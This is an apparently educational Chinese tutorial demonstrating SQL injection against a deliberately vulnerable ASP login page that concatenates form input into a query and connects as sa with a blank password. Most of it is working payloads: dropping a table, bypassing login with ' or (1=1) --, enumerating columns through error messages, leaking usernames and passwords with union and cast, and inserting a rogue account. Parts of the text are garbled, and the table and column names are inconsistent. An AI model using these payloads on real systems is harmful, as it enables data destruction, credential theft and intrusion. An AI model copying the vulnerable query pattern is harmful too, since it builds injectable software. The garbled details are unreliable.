***的SQL***演示:
指的是***或恶意用户在应用程序不知道的状况下经过应用程序来对SQL 数据库执行恶意的代码,一旦***成功,能够作任何事情,如查看数据表中的信息,删除数据表的数据,到得到网络访问权限等,咱们在使用一些商用应用程序的时候,如一些第三方软件,会要求咱们在他们的使用界面中输入一个用户名和口令,这个用户名和口令不是数据库中的用户名和口令,而是这些商用应用软件所定义的用户名和口令,经过这些用户名和口令来进行相应的操做。这种使用方法能够进行精细的安全控制。因此当前的应用软件中大多都使用这种方法。
而咱们这种SQL***会对这种方法进行***。
咱们在这里介绍的内容,主要是为了使用你们在之后的工做中增强安全意识
演示过程:
咱们要创建一个表来存放用户名和口令及访问级别
create table users (username varchar(10),password varchar(20), access int)
insert into USERS values ('dufei','杜飞',1)
利用DW建一个登陆页面
详见文档:
<body>
<form name="form1" method="post" action="logined.asp">
<table width="75%" border="1">
<tr>
<td colspan="2"><div align="center"><font size="5"><strong>用户登陆</strong></font></div></td>
</tr>
<tr>
<td height="21">
<div align="right">用户名:</div></td>
<td><input name="login_nm" type="text" id="login_nm"></td>
</tr>
<tr>
<td><div align="right">口令:</div></td>
<td><input name="login_pw" type="text" id="login_pw"></td>
</tr>
<tr>
<td colspan="2"><div align="center">
<input type="submit" name="Submit" value="提交">
<input type="reset" name="Submit2" value="重置">
</div></td>
</tr>
</table>
</form>
</body> <%
username=request.form("login_nm")
password=request.form("login_pw")
set conn=server.createobject("adodb.connection")
conn.open "uid=sa;pwd=;server=localhost;driver={sql server};database=itet"
sql="select * from logins where USERNAME='"&username &"' and PASSWORD= '"&password &"'"
set rs=conn.execute(sql)
if not rs.eof=true then
response.write("登陆成功,你能够获得任何你所须要的数据")
else
response.write("登陆失败")
end if
%>
******的第一个例子:删除表
创建一个测试表: create table t1 (name varchar(10)) 一会把它删除
在用户名框中输入:’; drop table t1 –
此时出现一个登陆失败的提示,但让咱们来看一下T1表是否还存在!
已经消失在世界的尽头了!不再会回来了
此时为何不成功,就是SQL***在起做用:
咱们来分析一下:
从正常登陆:输入:DUFEI 杜飞 1 到输入:’; drop table –
分别是:
select * from logins where USERNAME=’u1’ and PASSWORD=’p1’;
select * from logins where USERNAME=’’; drop table t1 -- and PASSWORD=’p1’;
由于空用户名是错误的,因此会报登陆失败
第二个例子:模仿USERS中的第一个用户登陆到咱们的系统:
' or (1=1) --
分析:至关于在SQL 查询分析器中输入:
select * from logins where USERNAME=’’ or 1=1 -- and PASSWORD=’杜飞’;
经过这个例子能够看到,SQL ***确实能够起到进入系统,破坏系统的做用
当***尝到了甜头,就会使用更为危险的手段来***
第三个例子:若是***在文本框中输入:' having 1=1 --
是没有成功,要的就是这个效果,没有成功,但却获得了咱们想要的东西,或者是说,能够从中获得咱们感兴趣的东西:暴露了不少危险的东西,这些是做为一个***想知道的东西
'USERNAME' 在选择列表中无效,知道了用户名口令存放在哪一个表,哪一个字段中。而后能够猜到USERNAME存放的就是用户名
那么知道了这个有什么用 就能够进行更为危险的***
如今***想利用所知道的状况再进一步想知道这个表中还有什么字段,以及每一个字段的类型。
此时再输入:' group by USERS.NAME having 1=1 --
又获得了一列:'USERS.PASSWORD' 在选择列表中无效,这时候想都不用想,这里确定是口令。
再想获得第三个字段名是什么:
' group by USERS.USERNAME,USER.PASSWORD having 1=1 --
依次能够知道第四个,五个。。。。。。。字段
直到不出现错误提示,则说明全部字段都获得了。
下面还想知道每一个字段的类型是什么类型,为之后进一步的***作准备
' union select avg(USERS.USERNAME) from USERS--
能以 varchar 数据类型做为参数
' union select avg(USERS.PASSWORD) from USERS--
求第三个字段ACCESS也是同样,或者用' and access='f' --
这就获得了三个字段和每一个字段的类型了。
但更精彩的来了,我想知道每一个字段的具体内容:
' union select cast(logins.login_nm as int),1,2 from logins --
将 varchar 值 'u1' 转换为数据类型为 int 的列时发生语法错误 获得了U1,这是一个用户名。
这对***是颇有价值的,可是对系统来讲是很危险的。
再进一步:他知道了你的数据表中有一个用户是U1,那么U1的口令是多少呢
' union select cast(logins.login_pw as int),1,2 from logins -- 别的地方不改,就改一个pw 若有多行,
最好用' union select cast(logins.login_pw as int),1,2 from logins where logins.login_nm='u1'--
便可
到如今为止,他知道了用户名口令就能够了, 那若是再高级一点,他能够不用你的用户名口令,我能够直接向你的表中写一个用户名口令,用本身的。 ';insert into logins values ('dufei','dufei',1) -- 测试: